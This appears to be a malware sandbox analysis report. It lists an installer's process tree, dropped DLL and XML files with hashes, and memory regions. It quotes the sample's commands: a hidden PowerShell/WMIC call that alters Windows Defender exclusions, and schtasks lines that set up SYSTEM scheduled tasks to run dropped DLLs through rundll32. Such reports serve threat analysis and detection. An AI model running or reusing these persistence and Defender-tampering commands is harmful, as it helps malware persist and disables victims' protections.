C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1904

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2868

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\RNplELueU\NmZRxx.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "wgFtIVrBuHdIdLf" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:64

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "wgFtIVrBuHdIdLf2" /F /xml "C:\Program Files (x86)\RNplELueU\vZNxxRN.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:4496

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "wgFtIVrBuHdIdLf"
2⤵
PID:5072

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "wgFtIVrBuHdIdLf"
2⤵
PID:768

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "tIlFGqArMHXptH" /F /xml "C:\Program Files (x86)\nWWVEJXizSHU2\LQykrfJ.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:1228

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "IkBmJZAegNpZy2" /F /xml "C:\ProgramData\evUSZSaqPkAEukVB\YmbavVl.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:796

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "PAxmAUNtgsWrISWfx2" /F /xml "C:\Program Files (x86)\uYPtQNsySKcOueCgHDR\MAfzojb.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:2448

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "OurksSTJxLQIbfTMDbR2" /F /xml "C:\Program Files (x86)\fLdzueVMGzfAC\TWvxtwp.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:3832

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "vczjtXgpVbXDKOBgh" /SC once /ST 01:29:54 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\XwIFwyvoUqntekhn\DPmrbdwF\RQsjspG.dll\",#1 /gdidrMIF 385137" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1616

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "vczjtXgpVbXDKOBgh"
2⤵
PID:2412

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "QVuDljbAZykxnpoWI"
2⤵
PID:4624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 2060
2⤵
- Program crash
PID:1576

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\XwIFwyvoUqntekhn\DPmrbdwF\RQsjspG.dll",#1 /gdidrMIF 385137
1⤵
PID:3284

C:\Windows\SysWOW64\rundll32.exe
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\XwIFwyvoUqntekhn\DPmrbdwF\RQsjspG.dll",#1 /gdidrMIF 385137
2⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4716

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "vczjtXgpVbXDKOBgh"
3⤵
PID:3684

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\$RECYCLE.BIN\S-1-5-18\desktop.ini
Filesize
129B

MD5
a526b9e7c716b3489d8cc062fbce4005

SHA1
2df502a944ff721241be20a9e449d2acd07e0312

SHA256
e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

SHA512
d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

Download Submit
C:\Program Files (x86)\RNplELueU\vZNxxRN.xml
Filesize
2KB

MD5
0f893d82f1ca92770507435491b4a0a7

SHA1
3c7f95acab7dc0878a51d535bebc4049150e589f

SHA256
9208535e981be1f90410d04eade85dbaed432b4c1de6c8fc7c03d61e322dc1eb

SHA512
3b56668e2a870be4961bb71a8d88c16103d0476b96756a2df8ce8eed57037c6dcd3d0007f2723a216e13a82bf9a76a6aec1866240e689486ea54b0de48697c17

Download Submit
C:\Program Files (x86)\fLdzueVMGzfAC\TWvxtwp.xml
Filesize
2KB

MD5
30e788c9418b7d4440fdfe8cc9eb4ef1

SHA1
ad727c36a84a30f676e7ac0bdc6258ee7240c0a2

SHA256
3a3570c7232f754354e5f656593a6a6db616526e7566d164745e22ebadd1cd0e

SHA512
39de0920205df38afe2dbb3d5e919031205cdfbc62ada824a03ce1ca23a0ff09add28a76c6d1b5e8d174f756d00974d5dd12394308958ea64c4892f26ae3c434

Download Submit
C:\Program Files (x86)\nWWVEJXizSHU2\LQykrfJ.xml
Filesize
2KB

MD5
f74c3718cdd9699f91fc534a5b8f9ba8

SHA1
8b7ad8e4965872fe7f909b056e91169aee8021d9

SHA256
93913a180c26421d9a69f5b9b3ffa56a5288880692ed74cadbeb599fb52b1d76

SHA512
5323851bcc3677dcf4acced3ea8323051ae5d4f059877ae428b22a6400ac2639b7061fcd41d94388e33e30b5766bf7cceb90734ee76602f3f80fc4c1da00c3ed

Download Submit
C:\Program Files (x86)\uYPtQNsySKcOueCgHDR\MAfzojb.xml
Filesize
2KB

MD5
af081ac08cd8e28d9590c65bc849d5aa

SHA1
0edd401e386c0dd07b9d0096a88887b74f3fdb4d

SHA256
019054fae193eab5a4ddea0a91fbaffc2f18e7443098c97e9b6c71332afe1086

SHA512
619a46f4e3abae7875d9a8583bde1d02994cd2b5991193612893cdc555dc5666467df240285485950076f4741cd014554ce22954523437161d3d11345290a0c7

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
Filesize
2.5MB

MD5
5687a100efa53ab00115fd30c1571faa

SHA1
8cadd532c980b39f7d873df544f38fe0d4fe3782

SHA256
8564d786f07d513f4d8be59b63b2d5119f491e84dfa68081c83bb67c16481716

SHA512
5c235170e78bb8c8c4d2152bbef5d4e986aaac7aba3c37ff0b8979eb740f1473db2e877245c0626578d160df132b39c74d5169194567f15be961ed86c83efe46

Download Submit
C:\ProgramData\evUSZSaqPkAEukVB\YmbavVl.xml
Filesize
2KB

MD5
170c87f7e8ad90e17c00b38434b5f376

SHA1
365aa96d3d7aa7a9c74c54f22cac32a8227681d1

SHA256
cb6eef9a8653e7fbc7b22ce38e7de62c2c3d57970370a4ee4bc421ae9a7b47eb

SHA512
c297e6995ef260b3da75a264468939e99c9cb1e427a9f7c1146db47f376eb1140bb44423b7d7395b09cf9decb8370216f582bdf49bfe6396dcdc124d4b54341b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
10KB

MD5
71449ca417357691bff669ff2a2581c0

SHA1
4bf24738b15cbed6c2b5e568e84c6af334e09c47

SHA256
0ba5acb93a28012d04ea2315fee0e6beda1bcc295e57754e58fcd28e172660fa

SHA512
bda85a4cf37745a84d86252597bc0c201dcac882af1f8d9eaf5f4dfd1fe00419b60e4a9c53f9a5e1fc3af81ff8284ce952d9a610772cc35aa470a029803e648b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Filesize
30KB

MD5
7a90bcea97696c60f076ef98c74ee883

SHA1
2f3f3e87ffd5f5f4378a1ac53cb8ab1d4870a25c

SHA256
819ff99bb313d2ceb9a75494d1a2c452735f91654b04d57561e15d8c625c661e

SHA512
ab29becfed6f99c9dd6d716801eb182408b21cb24a139f6af43bb0e9fc7302b046a08b1e0e131ec7a22edf3489de7b6b2661614708d272dec823f29428c25ba5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
29dde232e3bdd52c247f94359ec53486

SHA1
7fa9766245ad79ed72d8cf5c4e5b22b1ec0bf521

SHA256
1d99fb58940e1c6a0c7634d61548f38837791b505389f8b03dbafd20749371cf

SHA512
74a49e8a1f2824642b37419279de5157b7fb6f40efd7485af8102310446ba25e6acbf2b659fbfef9eba063e42e1b89d10fb7fcc6321575a0ad812b38d961b5b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS6FF0.tmp\Install.exe
Filesize
6.4MB

MD5
16c6176a7a12f11ef3f13ba4302a40f8

SHA1
3c53562968631f504024a22e59e2b4a177ab9188

SHA256
f4543b5caf1f43d5bccb276d349df84d0c5987e4619143813de456625bd6a297

SHA512
c0edc9de7d40d1bc688f1adb61cfad9265b09ad35fcf2dd09593f78247e8faf036742695256d62901c0ef6858342b5da1837daf11223fb95adcf032d76819d63

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS7251.tmp\Install.exe
Filesize
6.7MB

MD5
7d81480dc33ed5603a660ab787ba942b

SHA1
04e0360d151b0c30778f3f747d43bd80785310a3

SHA256
a63e0ec7bf6eee3581885b2d8e0a4b9fc33922c734591704925f15ffc2f257c4

SHA512
834cfae4be9f95429ce40ef492a6089766c0e8b39748a8ef905d25785693947a4aaa1dd6c18a3d0698b278f7aef5159955b86e091f8cff8b95883679ad303bbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v31rwifc.qik.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wtg1s5j6.default-release\prefs.js
Filesize
6KB

MD5
f078907e7d45103452bb931acc3ccc4d

SHA1
fdea03d1a122bf6e1cc39e0774a7dc56672b8a66

SHA256
1eb96c92a75d72219b50885e550a65c44f6619bdcd98732683bd670009403995

SHA512
28856d26c537841d1cd6caacb12b4d2cdd68bb14e6570cf7f1b8ea00b5bc4774fc67d11e860a52d862cb37f772ddd320a97c7a2cf4a6e42b6cf3d9ea9151e7fa

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
e33ed3d4cc9b2e5a08ae25747ef47620

SHA1
e2f4cfdd39bcb2eb1c05648a37a3d8536eaf19b7

SHA256
0e7093450fb6bb5201b4291033daf6099881421ab47b122972e0249ef5b45a4f

SHA512
9e990f7ca202c7ecc7a21dd2433055b71bd62f2e524f4702b674316effeb8fa37e891d40f3e6a960380dd7967033c7a7f235e73a3c434e97495e532309b4f95e

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
ddfdcd54c44dd527972206070eb0ab5d

SHA1
d61556b0c67ec8353cbfa6319ea7d026bd74c2d1

SHA256
ea1feff01f1e70b4d87e481cca3c42bff2f32fc8d40977d54c3fb1ba14efd9fb

SHA512
a775cf5a9d5ae93084dede2ad455088e7177c0c3d1f16623e154be66e5fcdd48016b28cc5fd55349346451c81f5de4153532861ae8a631bd95436be21e59bf52

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
cacc9a0c7873a79ba37d93916e7fe4af

SHA1
0b157e1cf6973a9b0f67f4833c9768d34820a8e8

SHA256
ce9354d30f4987ed5df5816b18defa3c223fc8d90de115a79f8d13283b805bdb

SHA512
0b0b165af659b49c7e0e8c07a2fb5b7a33ecf5896f499e22139feea17e9818603b43a86e708a1ea8b595bb63b85001979887069de4aa1d9ed3a63908783e0668

Download Submit
C:\Windows\Temp\XwIFwyvoUqntekhn\DPmrbdwF\RQsjspG.dll
Filesize
6.4MB

MD5
d9a4c2736e6e08c43cf77d61d5b8f87c

SHA1
e2fa6783deb4f4bd3c4b758ba7c0f419abfab430

SHA256
6e6f7797071baa57831bb69a84f82950630c1bc252238b6e8b879cb6a02a1bf4

SHA512
df4b4687a09c4065ed13931d069bf0e7b514b8812e1c7669f1813339118014a51a0f7dd0068e923c5edcfe8e175cda04c496cb34d5648d8dc577ebff49f526b0

Download Submit
C:\Windows\system32\GroupPolicy\Machine\Registry.pol
Filesize
6KB

MD5
bdd360aa1f99d6845e74a2949420764e

SHA1
c6ea07c26d20b42d31ed1da138b23d0d99bea2f4

SHA256
39ca342a3ce556b75155117f3c0266c51a436300bb9cb276963e8212f09fc375

SHA512
3fe0a35357ba7d8cbae057fab620b185d66bc06ed3e6a862655a93cf1006267feae9b82cb88f0c55ea11f8148be59eeb2cf9dd808972b1d0ddf518d3fcb4a462

Download Submit
memory/1504-45-0x0000000000D70000-0x0000000001430000-memory.dmp

Filesize
6.8MB

Download
memory/1504-46-0x0000000010000000-0x00000000110E6000-memory.dmp

Filesize
16.9MB

Download
memory/1504-116-0x0000000000D70000-0x0000000001430000-memory.dmp

Filesize
6.8MB

Download
memory/1904-163-0x0000000007910000-0x000000000795B000-memory.dmp

Filesize
300KB

Download
memory/1904-151-0x0000000006CD0000-0x0000000007020000-memory.dmp

Filesize
3.3MB

Download
memory/1920-53-0x0000000007360000-0x00000000073AB000-memory.dmp

Filesize
300KB

Download
memory/1920-52-0x0000000006DB0000-0x0000000007100000-memory.dmp

Filesize
3.3MB

Download
memory/2336-27-0x0000000008400000-0x000000000844B000-memory.dmp

Filesize
300KB

Download
memory/2336-20-0x0000000004F10000-0x0000000004F46000-memory.dmp

Filesize
216KB

Download
memory/2336-21-0x0000000007630000-0x0000000007C58000-memory.dmp

Filesize
6.2MB

Download
memory/2336-22-0x00000000075F0000-0x0000000007612000-memory.dmp

Filesize
136KB

Download
memory/2336-23-0x0000000007EB0000-0x0000000007F16000-memory.dmp

Filesize
408KB

Download
memory/2336-24-0x0000000007F20000-0x0000000007F86000-memory.dmp

Filesize
408KB

Download
memory/2336-25-0x0000000007F90000-0x00000000082E0000-memory.dmp

Filesize
3.3MB

Download
memory/2336-26-0x0000000007D10000-0x0000000007D2C000-memory.dmp

Filesize
112KB

Download
memory/2336-28-0x0000000008770000-0x00000000087E6000-memory.dmp

Filesize
472KB

Download
memory/2372-90-0x000002053E790000-0x000002053E7B2000-memory.dmp

Filesize
136KB

Download
memory/2372-94-0x000002053EAB0000-0x000002053EB26000-memory.dmp

Filesize
472KB

Download
memory/4208-70-0x0000000006C50000-0x0000000006FA0000-memory.dmp

Filesize
3.3MB

Download
memory/4272-126-0x0000000010000000-0x00000000110E6000-memory.dmp

Filesize
16.9MB

Download
memory/4272-196-0x0000000003780000-0x00000000037E2000-memory.dmp

Filesize
392KB

Download
memory/4272-124-0x0000000000C50000-0x0000000001310000-memory.dmp

Filesize
6.8MB

Download
memory/4272-139-0x0000000002F70000-0x0000000002FF5000-memory.dmp

Filesize
532KB

Download
memory/4272-389-0x00000000041E0000-0x00000000042B9000-memory.dmp

Filesize
868KB

Download
memory/4272-379-0x0000000003FF0000-0x0000000004078000-memory.dmp

Filesize
544KB

Download
memory/4272-433-0x0000000000C50000-0x0000000001310000-memory.dmp

Filesize
6.8MB

Download
memory/4716-431-0x0000000004A30000-0x0000000005B16000-memory.dmp

Filesize
16.9MB

Download
memory/4988-43-0x0000000000D70000-0x0000000001430000-memory.dmp

Filesize
6.8MB

Download
memory/4988-17-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp

Filesize
1.9MB

Download
memory/4988-13-0x0000000010000000-0x00000000110E6000-memory.dmp

Filesize
16.9MB

Download
memory/4988-12-0x0000000000D70000-0x0000000001430000-memory.dmp

Filesize
6.8MB

Download